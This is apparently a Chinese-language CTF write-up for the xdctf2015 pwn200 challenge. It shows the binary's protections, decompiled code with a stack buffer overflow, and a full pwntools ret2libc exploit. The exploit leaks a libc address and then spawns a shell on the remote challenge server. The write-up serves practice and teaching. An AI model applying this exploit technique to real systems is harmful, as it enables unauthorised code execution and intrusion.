xdctf2015 pwn200
# xdctf2015 pwn200
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/xdctf2015_pwn200/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下：
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
char buf[4]; // [esp+0h] [ebp-7Ch]
char v6; // [esp+18h] [ebp-64h]
int *v7; // [esp+70h] [ebp-Ch]
v7 = &argc;
strcpy(buf, "Welcome to XDCTF2015~!\n");
memset(&v6, 0, 0x4Cu);
setbuf(stdout, buf);
v3 = strlen(buf);
write(1, buf, v3);
vuln();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
vuln函数如下：
ssize_t vuln()
{
char buf; // [esp+Ch] [ebp-6Ch]
setbuf(stdin, &buf);
return read(0, &buf, 0x100u);
}
1
2
3
4
5
6
7
2
3
4
5
6
7
静态链接
# 思路分析
目前信息：
vuln函数存在任意长度的溢出点- No canary found
- NX enabled
- No PIE
思路：
- 32位
ret2libc
- 32位
# exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/xdctf2015_pwn200/bof'
io = remote('node4.buuoj.cn', 29247)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0x6c+4
write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = elf.symbols['vuln']
payload = flat(['a'*padding, write_plt, vuln_addr, 1, write_got, 4])
io.sendafter('Welcome to XDCTF2015~!\n', payload)
leak_write_addr = u32(io.recv(4))
libc = LibcSearcher('write', leak_write_addr)
libc_base = leak_write_addr-libc.dump('write')
system_addr = libc_base+libc.dump('system')
bin_sh_addr = libc_base+libc.dump('str_bin_sh')
payload = flat(['a'*padding, system_addr, 0xdead, bin_sh_addr])
io.sendline(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
上次更新: 2022/08/15, 00:29:49